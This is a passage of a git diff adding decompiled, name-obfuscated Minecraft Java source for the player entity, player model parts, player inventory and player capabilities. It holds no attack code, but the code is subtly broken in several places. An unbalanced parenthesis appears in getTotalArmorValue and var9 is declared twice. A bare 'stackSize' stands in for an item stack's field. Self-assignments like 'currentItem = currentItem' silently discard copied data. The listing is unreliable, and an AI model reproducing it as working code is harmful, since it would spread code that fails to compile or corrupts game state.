+  {
+    if (p_175145_1_ != null)
+    {
+      statsFile.func_150873_a(this, p_175145_1_, 0);
+      Iterator var2 = getWorldScoreboard().func_96520_a(p_175145_1_.func_150952_k()).iterator();
+      
+      while (var2.hasNext())
+      {
+        ScoreObjective var3 = (ScoreObjective)var2.next();
+        getWorldScoreboard().getValueFromObjective(getName(), var3).setScorePoints(0);
+      }
+      
+      if (statsFile.func_150879_e())
+      {
+        statsFile.func_150876_a(this);
+      }
+    }
+  }
+  
+  public void mountEntityAndWakeUp()
+  {
+    if (riddenByEntity != null)
+    {
+      riddenByEntity.mountEntity(this);
+    }
+    
+    if (sleeping)
+    {
+      wakeUpPlayer(true, false, false);
+    }
+  }
+  
+
+
+
+
+  public void setPlayerHealthUpdated()
+  {
+    lastHealth = -1.0E8F;
+  }
+  
+  public void addChatComponentMessage(IChatComponent p_146105_1_)
+  {
+    playerNetServerHandler.sendPacket(new S02PacketChat(p_146105_1_));
+  }
+  
+
+
+
+  protected void onItemUseFinish()
+  {
+    playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S19PacketEntityStatus(this, (byte)9));
+    super.onItemUseFinish();
+  }
+  
+
+
+
+  public void setItemInUse(ItemStack p_71008_1_, int p_71008_2_)
+  {
+    super.setItemInUse(p_71008_1_, p_71008_2_);
+    
+    if ((p_71008_1_ != null) && (p_71008_1_.getItem() != null) && (p_71008_1_.getItem().getItemUseAction(p_71008_1_) == EnumAction.EAT))
+    {
+      getServerForPlayer().getEntityTracker().func_151248_b(this, new S0BPacketAnimation(this, 3));
+    }
+  }
+  
+
+
+
+
+  public void clonePlayer(EntityPlayer p_71049_1_, boolean p_71049_2_)
+  {
+    super.clonePlayer(p_71049_1_, p_71049_2_);
+    lastExperience = -1;
+    lastHealth = -1.0F;
+    lastFoodLevel = -1;
+    destroyedItemsNetCache.addAll(destroyedItemsNetCache);
+  }
+  
+  protected void onNewPotionEffect(PotionEffect p_70670_1_)
+  {
+    super.onNewPotionEffect(p_70670_1_);
+    playerNetServerHandler.sendPacket(new S1DPacketEntityEffect(getEntityId(), p_70670_1_));
+  }
+  
+  protected void onChangedPotionEffect(PotionEffect p_70695_1_, boolean p_70695_2_)
+  {
+    super.onChangedPotionEffect(p_70695_1_, p_70695_2_);
+    playerNetServerHandler.sendPacket(new S1DPacketEntityEffect(getEntityId(), p_70695_1_));
+  }
+  
+  protected void onFinishedPotionEffect(PotionEffect p_70688_1_)
+  {
+    super.onFinishedPotionEffect(p_70688_1_);
+    playerNetServerHandler.sendPacket(new S1EPacketRemoveEntityEffect(getEntityId(), p_70688_1_));
+  }
+  
+
+
+
+  public void setPositionAndUpdate(double p_70634_1_, double p_70634_3_, double p_70634_5_)
+  {
+    playerNetServerHandler.setPlayerLocation(p_70634_1_, p_70634_3_, p_70634_5_, rotationYaw, rotationPitch);
+  }
+  
+
+
+
+  public void onCriticalHit(Entity p_71009_1_)
+  {
+    getServerForPlayer().getEntityTracker().func_151248_b(this, new S0BPacketAnimation(p_71009_1_, 4));
+  }
+  
+  public void onEnchantmentCritical(Entity p_71047_1_)
+  {
+    getServerForPlayer().getEntityTracker().func_151248_b(this, new S0BPacketAnimation(p_71047_1_, 5));
+  }
+  
+
+
+
+  public void sendPlayerAbilities()
+  {
+    if (playerNetServerHandler != null)
+    {
+      playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S39PacketPlayerAbilities(capabilities));
+      func_175135_B();
+    }
+  }
+  
+  public WorldServer getServerForPlayer()
+  {
+    return (WorldServer)worldObj;
+  }
+  
+
+
+
+  public void setGameType(WorldSettings.GameType gameType)
+  {
+    theItemInWorldManager.setGameType(gameType);
+    playerNetServerHandler.sendPacket(new S2BPacketChangeGameState(3, gameType.getID()));
+    
+    if (gameType == WorldSettings.GameType.SPECTATOR)
+    {
+      mountEntity(null);
+    }
+    else
+    {
+      func_175399_e(this);
+    }
+    
+    sendPlayerAbilities();
+    func_175136_bO();
+  }
+  
+  public boolean func_175149_v()
+  {
+    return theItemInWorldManager.getGameType() == WorldSettings.GameType.SPECTATOR;
+  }
+  
+
+
+
+
+
+
+  public void addChatMessage(IChatComponent message)
+  {
+    playerNetServerHandler.sendPacket(new S02PacketChat(message));
+  }
+  
+
+
+
+  public boolean canCommandSenderUseCommand(int permissionLevel, String command)
+  {
+    if (("seed".equals(command)) && (!mcServer.isDedicatedServer()))
+    {
+      return true;
+    }
+    if ((!"tell".equals(command)) && (!"help".equals(command)) && (!"me".equals(command)) && (!"trigger".equals(command)))
+    {
+      if (mcServer.getConfigurationManager().canSendCommands(getGameProfile()))
+      {
+        UserListOpsEntry var3 = (UserListOpsEntry)mcServer.getConfigurationManager().getOppedPlayers().getEntry(getGameProfile());
+        return var3.func_152644_a() >= permissionLevel;
+      }
+      
+
+      return false;
+    }
+    
+
+
+    return true;
+  }
+  
+
+
+
+
+  public String getPlayerIP()
+  {
+    String var1 = playerNetServerHandler.netManager.getRemoteAddress().toString();
+    var1 = var1.substring(var1.indexOf("/") + 1);
+    var1 = var1.substring(0, var1.indexOf(":"));
+    return var1;
+  }
+  
+  public void handleClientSettings(C15PacketClientSettings p_147100_1_)
+  {
+    translator = p_147100_1_.getLang();
+    chatVisibility = p_147100_1_.getChatVisibility();
+    chatColours = p_147100_1_.isColorsEnabled();
+    getDataWatcher().updateObject(10, Byte.valueOf((byte)p_147100_1_.getView()));
+  }
+  
+  public EntityPlayer.EnumChatVisibility getChatVisibility()
+  {
+    return chatVisibility;
+  }
+  
+  public void func_175397_a(String p_175397_1_, String p_175397_2_)
+  {
+    playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S48PacketResourcePackSend(p_175397_1_, p_175397_2_));
+  }
+  
+  public BlockPos getPosition()
+  {
+    return new BlockPos(posX, posY + 0.5D, posZ);
+  }
+  
+  public void markPlayerActive()
+  {
+    playerLastActiveTime = MinecraftServer.getCurrentTimeMillis();
+  }
+  
+
+
+
+  public StatisticsFile getStatFile()
+  {
+    return statsFile;
+  }
+  
+  public void func_152339_d(Entity p_152339_1_)
+  {
+    if ((p_152339_1_ instanceof EntityPlayer))
+    {
+      playerNetServerHandler.sendPacket(new S13PacketDestroyEntities(new int[] { p_152339_1_.getEntityId() }));
+    }
+    else
+    {
+      destroyedItemsNetCache.add(Integer.valueOf(p_152339_1_.getEntityId()));
+    }
+  }
+  
+  protected void func_175135_B()
+  {
+    if (func_175149_v())
+    {
+      func_175133_bi();
+      setInvisible(true);
+    }
+    else
+    {
+      super.func_175135_B();
+    }
+    
+    getServerForPlayer().getEntityTracker().func_180245_a(this);
+  }
+  
+  public Entity func_175398_C()
+  {
+    return field_175401_bS == null ? this : field_175401_bS;
+  }
+  
+  public void func_175399_e(Entity p_175399_1_)
+  {
+    Entity var2 = func_175398_C();
+    field_175401_bS = (p_175399_1_ == null ? this : p_175399_1_);
+    
+    if (var2 != field_175401_bS)
+    {
+      playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S43PacketCamera(field_175401_bS));
+      setPositionAndUpdate(field_175401_bS.posX, field_175401_bS.posY, field_175401_bS.posZ);
+    }
+  }
+  
+
+
+
+
+  public void attackTargetEntityWithCurrentItem(Entity targetEntity)
+  {
+    if (theItemInWorldManager.getGameType() == WorldSettings.GameType.SPECTATOR)
+    {
+      func_175399_e(targetEntity);
+    }
+    else
+    {
+      super.attackTargetEntityWithCurrentItem(targetEntity);
+    }
+  }
+  
+  public long getLastActiveTime()
+  {
+    return playerLastActiveTime;
+  }
+  
+  public IChatComponent func_175396_E()
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/player/EnumPlayerModelParts.java b/src/minecraft/net/minecraft/entity/player/EnumPlayerModelParts.java
new file mode 100644
index 0000000..8983df2
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/player/EnumPlayerModelParts.java
@@ -0,0 +1,50 @@
+package net.minecraft.entity.player;
+
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.IChatComponent;
+
+public enum EnumPlayerModelParts
+{
+  CAPE("CAPE", 0, 0, "cape"), 
+  JACKET("JACKET", 1, 1, "jacket"), 
+  LEFT_SLEEVE("LEFT_SLEEVE", 2, 2, "left_sleeve"), 
+  RIGHT_SLEEVE("RIGHT_SLEEVE", 3, 3, "right_sleeve"), 
+  LEFT_PANTS_LEG("LEFT_PANTS_LEG", 4, 4, "left_pants_leg"), 
+  RIGHT_PANTS_LEG("RIGHT_PANTS_LEG", 5, 5, "right_pants_leg"), 
+  HAT("HAT", 6, 6, "hat");
+  
+  private final int field_179340_h;
+  private final int field_179341_i;
+  private final String field_179338_j;
+  private final IChatComponent field_179339_k;
+  private static final EnumPlayerModelParts[] $VALUES = { CAPE, JACKET, LEFT_SLEEVE, RIGHT_SLEEVE, LEFT_PANTS_LEG, RIGHT_PANTS_LEG, HAT };
+  private static final String __OBFID = "CL_00002187";
+  
+  private EnumPlayerModelParts(String p_i45809_1_, int p_i45809_2_, int p_i45809_3_, String p_i45809_4_)
+  {
+    field_179340_h = p_i45809_3_;
+    field_179341_i = (1 << p_i45809_3_);
+    field_179338_j = p_i45809_4_;
+    field_179339_k = new ChatComponentTranslation("options.modelPart." + p_i45809_4_, new Object[0]);
+  }
+  
+  public int func_179327_a()
+  {
+    return field_179341_i;
+  }
+  
+  public int func_179328_b()
+  {
+    return field_179340_h;
+  }
+  
+  public String func_179329_c()
+  {
+    return field_179338_j;
+  }
+  
+  public IChatComponent func_179326_d()
+  {
+    return field_179339_k;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/player/InventoryPlayer.java b/src/minecraft/net/minecraft/entity/player/InventoryPlayer.java
new file mode 100644
index 0000000..5f59ac5
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/player/InventoryPlayer.java
@@ -0,0 +1,884 @@
+package net.minecraft.entity.player;
+
+import java.util.concurrent.Callable;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.command.server.CommandTestForBlock;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ReportedException;
+
+
+public class InventoryPlayer
+  implements IInventory
+{
+  public ItemStack[] mainInventory = new ItemStack[36];
+  
+
+  public ItemStack[] armorInventory = new ItemStack[4];
+  
+
+  public int currentItem;
+  
+
+  public EntityPlayer player;
+  
+
+  private ItemStack itemStack;
+  
+  public boolean inventoryChanged;
+  
+  private static final String __OBFID = "CL_00001709";
+  
+
+  public InventoryPlayer(EntityPlayer p_i1750_1_)
+  {
+    player = p_i1750_1_;
+  }
+  
+
+
+
+  public ItemStack getCurrentItem()
+  {
+    return (currentItem < 9) && (currentItem >= 0) ? mainInventory[currentItem] : null;
+  }
+  
+
+
+
+  public static int getHotbarSize()
+  {
+    return 9;
+  }
+  
+  private int getInventorySlotContainItem(Item itemIn)
+  {
+    for (int var2 = 0; var2 < mainInventory.length; var2++)
+    {
+      if ((mainInventory[var2] != null) && (mainInventory[var2].getItem() == itemIn))
+      {
+        return var2;
+      }
+    }
+    
+    return -1;
+  }
+  
+  private int getInventorySlotContainItemAndDamage(Item p_146024_1_, int p_146024_2_)
+  {
+    for (int var3 = 0; var3 < mainInventory.length; var3++)
+    {
+      if ((mainInventory[var3] != null) && (mainInventory[var3].getItem() == p_146024_1_) && (mainInventory[var3].getMetadata() == p_146024_2_))
+      {
+        return var3;
+      }
+    }
+    
+    return -1;
+  }
+  
+
+
+
+  private int storeItemStack(ItemStack p_70432_1_)
+  {
+    for (int var2 = 0; var2 < mainInventory.length; var2++)
+    {
+      if ((mainInventory[var2] != null) && (mainInventory[var2].getItem() == p_70432_1_.getItem()) && (mainInventory[var2].isStackable()) && (mainInventory[var2].stackSize < mainInventory[var2].getMaxStackSize()) && (mainInventory[var2].stackSize < getInventoryStackLimit()) && ((!mainInventory[var2].getHasSubtypes()) || (mainInventory[var2].getMetadata() == p_70432_1_.getMetadata())) && (ItemStack.areItemStackTagsEqual(mainInventory[var2], p_70432_1_)))
+      {
+        return var2;
+      }
+    }
+    
+    return -1;
+  }
+  
+
+
+
+  public int getFirstEmptyStack()
+  {
+    for (int var1 = 0; var1 < mainInventory.length; var1++)
+    {
+      if (mainInventory[var1] == null)
+      {
+        return var1;
+      }
+    }
+    
+    return -1;
+  }
+  
+  public void setCurrentItem(Item p_146030_1_, int p_146030_2_, boolean p_146030_3_, boolean p_146030_4_)
+  {
+    ItemStack var5 = getCurrentItem();
+    int var6 = p_146030_3_ ? getInventorySlotContainItemAndDamage(p_146030_1_, p_146030_2_) : getInventorySlotContainItem(p_146030_1_);
+    
+    if ((var6 >= 0) && (var6 < 9))
+    {
+      currentItem = var6;
+    }
+    else if ((p_146030_4_) && (p_146030_1_ != null))
+    {
+      int var7 = getFirstEmptyStack();
+      
+      if ((var7 >= 0) && (var7 < 9))
+      {
+        currentItem = var7;
+      }
+      
+      if ((var5 == null) || (!var5.isItemEnchantable()) || (getInventorySlotContainItemAndDamage(var5.getItem(), var5.getItemDamage()) != currentItem))
+      {
+        int var8 = getInventorySlotContainItemAndDamage(p_146030_1_, p_146030_2_);
+        
+        int var9;
+        if (var8 >= 0)
+        {
+          int var9 = mainInventory[var8].stackSize;
+          mainInventory[var8] = mainInventory[currentItem];
+        }
+        else
+        {
+          var9 = 1;
+        }
+        
+        mainInventory[currentItem] = new ItemStack(p_146030_1_, var9, p_146030_2_);
+      }
+    }
+  }
+  
+
+
+
+  public void changeCurrentItem(int p_70453_1_)
+  {
+    if (p_70453_1_ > 0)
+    {
+      p_70453_1_ = 1;
+    }
+    
+    if (p_70453_1_ < 0)
+    {
+      p_70453_1_ = -1;
+    }
+    
+    for (currentItem -= p_70453_1_; currentItem < 0; currentItem += 9) {}
+    
+
+
+
+    while (currentItem >= 9)
+    {
+      currentItem -= 9;
+    }
+  }
+  
+  public int func_174925_a(Item p_174925_1_, int p_174925_2_, int p_174925_3_, NBTTagCompound p_174925_4_)
+  {
+    int var5 = 0;
+    
+
+
+
+    for (int var6 = 0; var6 < mainInventory.length; var6++)
+    {
+      ItemStack var7 = mainInventory[var6];
+      
+      if ((var7 != null) && ((p_174925_1_ == null) || (var7.getItem() == p_174925_1_)) && ((p_174925_2_ <= -1) || (var7.getMetadata() == p_174925_2_)) && ((p_174925_4_ == null) || (CommandTestForBlock.func_175775_a(p_174925_4_, var7.getTagCompound(), true))))
+      {
+        int var8 = p_174925_3_ <= 0 ? stackSize : Math.min(p_174925_3_ - var5, stackSize);
+        var5 += var8;
+        
+        if (p_174925_3_ != 0)
+        {
+          mainInventory[var6].stackSize -= var8;
+          
+          if (mainInventory[var6].stackSize == 0)
+          {
+            mainInventory[var6] = null;
+          }
+          
+          if ((p_174925_3_ > 0) && (var5 >= p_174925_3_))
+          {
+            return var5;
+          }
+        }
+      }
+    }
+    
+    for (var6 = 0; var6 < armorInventory.length; var6++)
+    {
+      ItemStack var7 = armorInventory[var6];
+      
+      if ((var7 != null) && ((p_174925_1_ == null) || (var7.getItem() == p_174925_1_)) && ((p_174925_2_ <= -1) || (var7.getMetadata() == p_174925_2_)) && ((p_174925_4_ == null) || (CommandTestForBlock.func_175775_a(p_174925_4_, var7.getTagCompound(), false))))
+      {
+        int var8 = p_174925_3_ <= 0 ? stackSize : Math.min(p_174925_3_ - var5, stackSize);
+        var5 += var8;
+        
+        if (p_174925_3_ != 0)
+        {
+          armorInventory[var6].stackSize -= var8;
+          
+          if (armorInventory[var6].stackSize == 0)
+          {
+            armorInventory[var6] = null;
+          }
+          
+          if ((p_174925_3_ > 0) && (var5 >= p_174925_3_))
+          {
+            return var5;
+          }
+        }
+      }
+    }
+    
+    if (itemStack != null)
+    {
+      if ((p_174925_1_ != null) && (itemStack.getItem() != p_174925_1_))
+      {
+        return var5;
+      }
+      
+      if ((p_174925_2_ > -1) && (itemStack.getMetadata() != p_174925_2_))
+      {
+        return var5;
+      }
+      
+      if ((p_174925_4_ != null) && (!CommandTestForBlock.func_175775_a(p_174925_4_, itemStack.getTagCompound(), false)))
+      {
+        return var5;
+      }
+      
+      var6 = p_174925_3_ <= 0 ? itemStack.stackSize : Math.min(p_174925_3_ - var5, itemStack.stackSize);
+      var5 += var6;
+      
+      if (p_174925_3_ != 0)
+      {
+        itemStack.stackSize -= var6;
+        
+        if (itemStack.stackSize == 0)
+        {
+          itemStack = null;
+        }
+        
+        if ((p_174925_3_ > 0) && (var5 >= p_174925_3_))
+        {
+          return var5;
+        }
+      }
+    }
+    
+    return var5;
+  }
+  
+
+
+
+
+  private int storePartialItemStack(ItemStack p_70452_1_)
+  {
+    Item var2 = p_70452_1_.getItem();
+    int var3 = stackSize;
+    int var4 = storeItemStack(p_70452_1_);
+    
+    if (var4 < 0)
+    {
+      var4 = getFirstEmptyStack();
+    }
+    
+    if (var4 < 0)
+    {
+      return var3;
+    }
+    
+
+    if (mainInventory[var4] == null)
+    {
+      mainInventory[var4] = new ItemStack(var2, 0, p_70452_1_.getMetadata());
+      
+      if (p_70452_1_.hasTagCompound())
+      {
+        mainInventory[var4].setTagCompound((NBTTagCompound)p_70452_1_.getTagCompound().copy());
+      }
+    }
+    
+    int var5 = var3;
+    
+    if (var3 > mainInventory[var4].getMaxStackSize() - mainInventory[var4].stackSize)
+    {
+      var5 = mainInventory[var4].getMaxStackSize() - mainInventory[var4].stackSize;
+    }
+    
+    if (var5 > getInventoryStackLimit() - mainInventory[var4].stackSize)
+    {
+      var5 = getInventoryStackLimit() - mainInventory[var4].stackSize;
+    }
+    
+    if (var5 == 0)
+    {
+      return var3;
+    }
+    
+
+    var3 -= var5;
+    mainInventory[var4].stackSize += var5;
+    mainInventory[var4].animationsToGo = 5;
+    return var3;
+  }
+  
+
+
+
+
+
+
+  public void decrementAnimations()
+  {
+    for (int var1 = 0; var1 < mainInventory.length; var1++)
+    {
+      if (mainInventory[var1] != null)
+      {
+        mainInventory[var1].updateAnimation(player.worldObj, player, var1, currentItem == var1);
+      }
+    }
+  }
+  
+
+
+
+  public boolean consumeInventoryItem(Item p_146026_1_)
+  {
+    int var2 = getInventorySlotContainItem(p_146026_1_);
+    
+    if (var2 < 0)
+    {
+      return false;
+    }
+    
+
+    if (--mainInventory[var2].stackSize <= 0)
+    {
+      mainInventory[var2] = null;
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  public boolean hasItem(Item p_146028_1_)
+  {
+    int var2 = getInventorySlotContainItem(p_146028_1_);
+    return var2 >= 0;
+  }
+  
+
+
+
+  public boolean addItemStackToInventory(final ItemStack p_70441_1_)
+  {
+    if ((p_70441_1_ != null) && (stackSize != 0) && (p_70441_1_.getItem() != null))
+    {
+
+      try
+      {
+
+        if (p_70441_1_.isItemDamaged())
+        {
+          int var2 = getFirstEmptyStack();
+          
+          if (var2 >= 0)
+          {
+            mainInventory[var2] = ItemStack.copyItemStack(p_70441_1_);
+            mainInventory[var2].animationsToGo = 5;
+            stackSize = 0;
+            return true;
+          }
+          if (player.capabilities.isCreativeMode)
+          {
+            stackSize = 0;
+            return true;
+          }
+          
+
+          return false;
+        }
+        
+        int var2;
+        
+        do
+        {
+          var2 = stackSize;
+          stackSize = storePartialItemStack(p_70441_1_);
+        }
+        while ((stackSize > 0) && (stackSize < var2));
+        
+        if ((stackSize == var2) && (player.capabilities.isCreativeMode))
+        {
+          stackSize = 0;
+          return true;
+        }
+        
+
+        return stackSize < var2;
+
+      }
+      catch (Throwable var5)
+      {
+
+        CrashReport var3 = CrashReport.makeCrashReport(var5, "Adding item to inventory");
+        CrashReportCategory var4 = var3.makeCategory("Item being added");
+        var4.addCrashSection("Item ID", Integer.valueOf(Item.getIdFromItem(p_70441_1_.getItem())));
+        var4.addCrashSection("Item data", Integer.valueOf(p_70441_1_.getMetadata()));
+        var4.addCrashSectionCallable("Item name", new Callable()
+        {
+          private static final String __OBFID = "CL_00001710";
+          
+          public String call() {
+            return p_70441_1_.getDisplayName();
+          }
+        });
+        throw new ReportedException(var3);
+      }
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+  public ItemStack decrStackSize(int index, int count)
+  {
+    ItemStack[] var3 = mainInventory;
+    
+    if (index >= mainInventory.length)
+    {
+      var3 = armorInventory;
+      index -= mainInventory.length;
+    }
+    
+    if (var3[index] != null)
+    {
+
+
+      if (stackSize <= count)
+      {
+        ItemStack var4 = var3[index];
+        var3[index] = null;
+        return var4;
+      }
+      
+
+      ItemStack var4 = var3[index].splitStack(count);
+      
+      if (stackSize == 0)
+      {
+        var3[index] = null;
+      }
+      
+      return var4;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+
+
+  public ItemStack getStackInSlotOnClosing(int index)
+  {
+    ItemStack[] var2 = mainInventory;
+    
+    if (index >= mainInventory.length)
+    {
+      var2 = armorInventory;
+      index -= mainInventory.length;
+    }
+    
+    if (var2[index] != null)
+    {
+      ItemStack var3 = var2[index];
+      var2[index] = null;
+      return var3;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public void setInventorySlotContents(int index, ItemStack stack)
+  {
+    ItemStack[] var3 = mainInventory;
+    
+    if (index >= var3.length)
+    {
+      index -= var3.length;
+      var3 = armorInventory;
+    }
+    
+    var3[index] = stack;
+  }
+  
+  public float getStrVsBlock(Block p_146023_1_)
+  {
+    float var2 = 1.0F;
+    
+    if (mainInventory[currentItem] != null)
+    {
+      var2 *= mainInventory[currentItem].getStrVsBlock(p_146023_1_);
+    }
+    
+    return var2;
+  }
+  
+
+
+
+
+
+
+
+  public NBTTagList writeToNBT(NBTTagList p_70442_1_)
+  {
+    for (int var2 = 0; var2 < mainInventory.length; var2++)
+    {
+      if (mainInventory[var2] != null)
+      {
+        NBTTagCompound var3 = new NBTTagCompound();
+        var3.setByte("Slot", (byte)var2);
+        mainInventory[var2].writeToNBT(var3);
+        p_70442_1_.appendTag(var3);
+      }
+    }
+    
+    for (var2 = 0; var2 < armorInventory.length; var2++)
+    {
+      if (armorInventory[var2] != null)
+      {
+        NBTTagCompound var3 = new NBTTagCompound();
+        var3.setByte("Slot", (byte)(var2 + 100));
+        armorInventory[var2].writeToNBT(var3);
+        p_70442_1_.appendTag(var3);
+      }
+    }
+    
+    return p_70442_1_;
+  }
+  
+
+
+
+  public void readFromNBT(NBTTagList p_70443_1_)
+  {
+    mainInventory = new ItemStack[36];
+    armorInventory = new ItemStack[4];
+    
+    for (int var2 = 0; var2 < p_70443_1_.tagCount(); var2++)
+    {
+      NBTTagCompound var3 = p_70443_1_.getCompoundTagAt(var2);
+      int var4 = var3.getByte("Slot") & 0xFF;
+      ItemStack var5 = ItemStack.loadItemStackFromNBT(var3);
+      
+      if (var5 != null)
+      {
+        if ((var4 >= 0) && (var4 < mainInventory.length))
+        {
+          mainInventory[var4] = var5;
+        }
+        
+        if ((var4 >= 100) && (var4 < armorInventory.length + 100))
+        {
+          armorInventory[(var4 - 100)] = var5;
+        }
+      }
+    }
+  }
+  
+
+
+
+  public int getSizeInventory()
+  {
+    return mainInventory.length + 4;
+  }
+  
+
+
+
+  public ItemStack getStackInSlot(int slotIn)
+  {
+    ItemStack[] var2 = mainInventory;
+    
+    if (slotIn >= var2.length)
+    {
+      slotIn -= var2.length;
+      var2 = armorInventory;
+    }
+    
+    return var2[slotIn];
+  }
+  
+
+
+
+  public String getName()
+  {
+    return "container.inventory";
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return false;
+  }
+  
+  public IChatComponent getDisplayName()
+  {
+    return hasCustomName() ? new ChatComponentText(getName()) : new ChatComponentTranslation(getName(), new Object[0]);
+  }
+  
+
+
+
+
+  public int getInventoryStackLimit()
+  {
+    return 64;
+  }
+  
+  public boolean func_146025_b(Block p_146025_1_)
+  {
+    if (p_146025_1_.getMaterial().isToolNotRequired())
+    {
+      return true;
+    }
+    
+
+    ItemStack var2 = getStackInSlot(currentItem);
+    return var2 != null ? var2.canHarvestBlock(p_146025_1_) : false;
+  }
+  
+
+
+
+
+  public ItemStack armorItemInSlot(int p_70440_1_)
+  {
+    return armorInventory[p_70440_1_];
+  }
+  
+
+
+
+  public int getTotalArmorValue()
+  {
+    int var1 = 0;
+    
+    for (int var2 = 0; var2 < armorInventory.length; var2++)
+    {
+      if ((armorInventory[var2] != null) && ((armorInventory[var2].getItem() instanceof ItemArmor)))
+      {
+        int var3 = armorInventory[var2].getItem()).damageReduceAmount;
+        var1 += var3;
+      }
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public void damageArmor(float p_70449_1_)
+  {
+    p_70449_1_ /= 4.0F;
+    
+    if (p_70449_1_ < 1.0F)
+    {
+      p_70449_1_ = 1.0F;
+    }
+    
+    for (int var2 = 0; var2 < armorInventory.length; var2++)
+    {
+      if ((armorInventory[var2] != null) && ((armorInventory[var2].getItem() instanceof ItemArmor)))
+      {
+        armorInventory[var2].damageItem((int)p_70449_1_, player);
+        
+        if (armorInventory[var2].stackSize == 0)
+        {
+          armorInventory[var2] = null;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+  public void dropAllItems()
+  {
+    for (int var1 = 0; var1 < mainInventory.length; var1++)
+    {
+      if (mainInventory[var1] != null)
+      {
+        player.func_146097_a(mainInventory[var1], true, false);
+        mainInventory[var1] = null;
+      }
+    }
+    
+    for (var1 = 0; var1 < armorInventory.length; var1++)
+    {
+      if (armorInventory[var1] != null)
+      {
+        player.func_146097_a(armorInventory[var1], true, false);
+        armorInventory[var1] = null;
+      }
+    }
+  }
+  
+
+
+
+
+  public void markDirty()
+  {
+    inventoryChanged = true;
+  }
+  
+
+
+
+  public void setItemStack(ItemStack p_70437_1_)
+  {
+    itemStack = p_70437_1_;
+  }
+  
+
+
+
+  public ItemStack getItemStack()
+  {
+    return itemStack;
+  }
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return !player.isDead;
+  }
+  
+
+
+
+
+
+  public boolean hasItemStack(ItemStack p_70431_1_)
+  {
+    for (int var2 = 0; var2 < armorInventory.length; var2++)
+    {
+      if ((armorInventory[var2] != null) && (armorInventory[var2].isItemEqual(p_70431_1_)))
+      {
+        return true;
+      }
+    }
+    
+    for (var2 = 0; var2 < mainInventory.length; var2++)
+    {
+      if ((mainInventory[var2] != null) && (mainInventory[var2].isItemEqual(p_70431_1_)))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+  public void openInventory(EntityPlayer playerIn) {}
+  
+
+  public void closeInventory(EntityPlayer playerIn) {}
+  
+
+  public boolean isItemValidForSlot(int index, ItemStack stack)
+  {
+    return true;
+  }
+  
+
+
+
+
+
+  public void copyInventory(InventoryPlayer p_70455_1_)
+  {
+    for (int var2 = 0; var2 < mainInventory.length; var2++)
+    {
+      mainInventory[var2] = ItemStack.copyItemStack(mainInventory[var2]);
+    }
+    
+    for (var2 = 0; var2 < armorInventory.length; var2++)
+    {
+      armorInventory[var2] = ItemStack.copyItemStack(armorInventory[var2]);
+    }
+    
+    currentItem = currentItem;
+  }
+  
+  public int getField(int id)
+  {
+    return 0;
+  }
+  
+  public void setField(int id, int value) {}
+  
+  public int getFieldCount()
+  {
+    return 0;
+  }
+  
+
+
+  public void clearInventory()
+  {
+    for (int var1 = 0; var1 < mainInventory.length; var1++)
+    {
+      mainInventory[var1] = null;
+    }
+    
+    for (var1 = 0; var1 < armorInventory.length; var1++)
+    {
+      armorInventory[var1] = null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/player/PlayerCapabilities.java b/src/minecraft/net/minecraft/entity/player/PlayerCapabilities.java
new file mode 100644
index 0000000..a572a9d
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/player/PlayerCapabilities.java
@@ -0,0 +1,82 @@
+package net.minecraft.entity.player;
+
+import net.minecraft.nbt.NBTTagCompound;
+
+
+
+
+
+
+
+
+
+
+
+
+public class PlayerCapabilities
+{
+  public boolean disableDamage;
+  public boolean isFlying;
+  public boolean allowFlying;
+  public boolean isCreativeMode;
+  public boolean allowEdit = true;
+  private float flySpeed = 0.05F;
+  private float walkSpeed = 0.1F;
+  private static final String __OBFID = "CL_00001708";
+  
+  public PlayerCapabilities() {}
+  
+  public void writeCapabilitiesToNBT(NBTTagCompound p_75091_1_) { NBTTagCompound var2 = new NBTTagCompound();
+    var2.setBoolean("invulnerable", disableDamage);
+    var2.setBoolean("flying", isFlying);
+    var2.setBoolean("mayfly", allowFlying);
+    var2.setBoolean("instabuild", isCreativeMode);
+    var2.setBoolean("mayBuild", allowEdit);
+    var2.setFloat("flySpeed", flySpeed);
+    var2.setFloat("walkSpeed", walkSpeed);
+    p_75091_1_.setTag("abilities", var2);
+  }
+  
+  public void readCapabilitiesFromNBT(NBTTagCompound p_75095_1_)
+  {
+    if (p_75095_1_.hasKey("abilities", 10))
+    {
+      NBTTagCompound var2 = p_75095_1_.getCompoundTag("abilities");
+      disableDamage = var2.getBoolean("invulnerable");
+      isFlying = var2.getBoolean("flying");
+      allowFlying = var2.getBoolean("mayfly");
+      isCreativeMode = var2.getBoolean("instabuild");
+      
+      if (var2.hasKey("flySpeed", 99))
+      {
+        flySpeed = var2.getFloat("flySpeed");
+        walkSpeed = var2.getFloat("walkSpeed");
+      }
+      
+      if (var2.hasKey("mayBuild", 1))
+      {
+        allowEdit = var2.getBoolean("mayBuild");
+      }
+    }
+  }
+  
+  public float getFlySpeed()
+  {
+    return flySpeed;
+  }
+  
+  public void setFlySpeed(float p_75092_1_)
